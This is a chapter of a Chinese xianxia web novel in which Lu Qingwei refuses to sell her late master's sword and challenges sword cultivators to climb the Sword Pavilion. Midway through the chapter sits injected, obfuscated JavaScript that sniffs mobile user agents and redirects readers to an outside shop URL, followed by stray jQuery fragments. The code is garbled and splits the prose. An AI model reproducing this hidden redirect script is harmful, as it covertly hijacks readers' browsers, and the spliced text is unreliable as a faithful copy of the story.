风竹小说 > 都市言情 > 师尊死遁后 > 15. 第 15 章
    薛如松走到二人近前。他听薛琮说过,想看一个剑修的实力深浅,首先要看那个人的眼睛。

    有些人,仅仅只是远远看上那么一眼,就知道自己永远战胜不了对方。

    薛如松自然知道父亲说的人是谁。

    晏平生,千万人所不及的剑道顶峰。即便他如今已经亡故,也无人敢提与之争锋。

    纵使琼华剑派为九州之内剑修最多、剑脉传承最为兴盛的门派,也找不到第二个与之并称的人。

    那样一个风华绝代的人啊……

    薛如松并未见过晏平生,可他看到陆清微的眼睛,就知道自己没有找错人。

    那双眼睛,没有笑意时沉静又锐利。

    她是当今世上唯一会用秋水剑诀的人。

    卢浪为二人引见:“这位是琼华剑派的薛如松薛道友。”

    陆清微心头微动:“敢问,贵派薛琮薛真人和道友有何关系?”

    “正是家父。”

    陆清微立刻就知道了对方为何而来,她与宁不移对视一眼,笑意淡了下去。

    任由薛如松再迟钝,也觉出些不对来:“陆道友,可是我有何冒犯之处?”

    宁不移:“冒犯谈不上,只是薛真人道法精深,我与师妹从前略有耳闻罢了。”

    他与卢浪那次赌斗的起因,自然不必与薛如松这个外人提起。

    卢浪见场面一时冷淡了下去,出面打圆场:“二位道友,今日相逢即是有缘,不如找个地方略坐片刻?”

    宁不移皱眉:他不喜欢这几个人看清微的眼神,像是在打量什么待价而沽的物件。

    清微垂着眼,心思转了几圈。薛如松想要自己的长天剑,这毋庸置疑。

    这柄剑不仅是一把兵器,还是一个象征。

    她如果护不住这把剑,将来也护不住师尊的浮珑山。

    千里之堤,溃于蚁穴。这些人是想要一点点瓦解晏平生的影响力。

    清微下定了决心:“好啊,那就去吧。”去说个清楚分明。

    宁不移的眼神黏着她:他看得出来,清微眼里一丝笑意也无,可是为了晏平生,她还是答应了。

    掌心一阵刺痛。

    卢浪听到这句话,倒像是松了一口气:“难得有这样好的兴致,今日就由我做东,在栖仙台招待几位吧。”

    他口中的栖仙台是洛城规模最大、装饰也最为繁华的酒楼。

    清微无可无不可地点头应下。

    走进栖仙台,早有人等着引路,径直将几人带到楼上包厢。两拨人自然地分坐在偌大圆桌两面。

    对面为首之人是薛如松、卢浪,还有几名陪坐的年轻修士。这边是陆清微与宁不移。

    一时,瓜果茶点、灵酒清茶,并各色菜肴摆得满满当当,众人却都没有动筷子的意思。

    宁不移想到清微今日下午还没怎么吃过东西,从荷包里捡了一把板栗“嗑嚓”、“嗑嚓”地剥起来,还倒了杯清水放在她面前。

    仍是卢浪开口:“宁道友当真是爱护同门,连这样的小事都要亲自动手。”

    宁不移眼神都没有给他:“宁某不过一介‘废人’,自然只能在这些方面好好照顾清微。”

    若非他的语气太过自然,卢浪几乎以为对方在嘲讽他:宁不移是废人,那自己输给他又算什么?连废物都不如?

    卢浪的神色有些难看。

    薛如松原本端着酒杯,见话头已经打开,启唇说道:“陆道友,为何连茶也不喝一口?”

    清微淡淡看他:“你的茶太贵,我怕喝不起。”

    她语气冷硬,让薛如松原本想好好商谈的心思也被压下去几分:“看来,陆道友并不想和薛某好好说话啊。”

    清微不理他,将师兄剥好的板栗仁接过来,小口啃着。

    宁不移怕她噎着,把水递给她,眼神专注又柔软。

    欺人太甚。薛如松自从进入琼华剑派,何曾受过这样的怠慢。

    他重重把酒杯放下:“两位,我今日就直言相问了,你想要陆道友手里那把长天剑,不知什么价码才肯割爱?”

    清微擦擦手:“我不卖,给多少钱都不卖。”

    两年前,她突破到秋水剑经第三层,师尊亲手将长天剑赐给她。

    虽然师尊没有说什么,但清微觉得,他是希望带着这把剑好好走下去的。

    就像他还在一样。

    她珍惜地抱着长天剑,向晏平生问它的来历。

    晏平生搁下笔,看向窗外远山叠翠:“自然是为师的师尊送给我的。”

    清微忽然就觉得,怀中的剑分量变得更加沉甸甸了:“是师祖!”

    “嗯,没错。”

    她挪步围着晏平生转了半圈,仰头看他:“师尊,当年师祖为什么将这把剑给你呢?”

    晏平生按着清微肩头,让她乖乖坐好,别再乱动:“是因为我那时登上了剑阁第五重。”

    清微还想问什么是剑阁,晏平生递茶给她:“喝完就回去休息,为师那时候可不像你,抱着剑一整天都不松开。”

    清微用“这么好看的剑你居然舍得不摸,师尊你还是不是剑修”的眼神看他。

    晏平生无奈,推她出门:“为师承认,当时只拿着剑看了两个时辰而已。”

    她一边笑,一边抱着剑回去睡觉了。

    直到后来,她才知道登剑阁对于天下剑修意味着什么。

    九州之内、十三洞天,每一个传承万载的大派无一不是有一处镇压门派气数的洞天之地

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16930088|192796||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    。

    玄宗为阴阳玄天阵、琼华剑派为七重剑阁、天机阁为摘星楼……

    道门七派,再加上魔道六宗,共同构成了万年不变的九州格局。

    琼华剑派的七重剑阁,是开派祖师常羲飞升之前所留,蕴藏了毕生的剑意感悟。

    她留下的石碑上说,九州修士凡有习剑者,毕生都有三次叩问剑阁的机会。

    能登剑阁之人,无一不是剑修之中的佼佼者,可得无上传承,亦是万人之上的荣光。

    而古往今来,除了琼华剑派第四任掌门登上了第七重剑阁,就只有一人能够做到这件事。

    那便是晏平生。

    他曾三次踏入剑阁,第一次点亮五重、第二次又亮一重。

    直到第三次,百丈剑阁七重宝塔彻夜通明。九州之内通灵的剑器都为之共鸣。七色华光盘旋在剑阁上空,三日不灭。

    而现在,那柄象征着晏平生的剑道传承的长天就在她的手中。

    它的上一任主人,曾经令全天下的剑修都黯然失色。

    而她就是要走师尊曾经走过的路,用他曾经的佩剑,让天下人再次记住他。

    吾道不孤。

    “我们来打赌如何?就以我手上这柄长天剑为注,我陆清微向你……不,是向全天下的分光期剑修下帖邀斗。若是我输了,将长天剑双手奉上。”

    薛如松觉得心都怦怦跳动起来:她疯了么?向天下人下战帖?

    就算是晏平生,也不敢说这种话!

    他勉强定了定心神:“比试内容是什么?”

    陆清微扬声说道:“登剑阁!”

    在场众人一时寂静。

    见他久久不语,陆清微又问:“道友,你敢是不敢?”

    薛如松猛然抬头,深吸一口气:对面少女不是那个让当今执剑者都黯然失色的晏平生。

    她是陆清微,只是陆清微。

    他没有必要惧她。

    “好,这个赌注我接下了!”

    薛如松声音倒是响亮,眼神却很虚浮。

    他曾问过父亲,若是以他如今的心性修为登上剑阁,能得几重?

    薛琮只说了三个字:“第二重。”

    他不敢置信。当真差距如此之大么?

    清微看着对面那人,只觉得有些意兴阑珊,连手中的板栗都觉得没那么香甜了:“我们回去吧,师兄。”

    宁不移拱手:“多谢诸位‘款待’,来日必报。”

    不该走的先走了,不该留下的却还在场。

    薛如松干脆负手起身:“卢道友,我也先告辞了。”

    他本意不过是想好好解决这桩心事,不明白怎么会闹成这样。

    是该与父亲好好商议该怎么做了。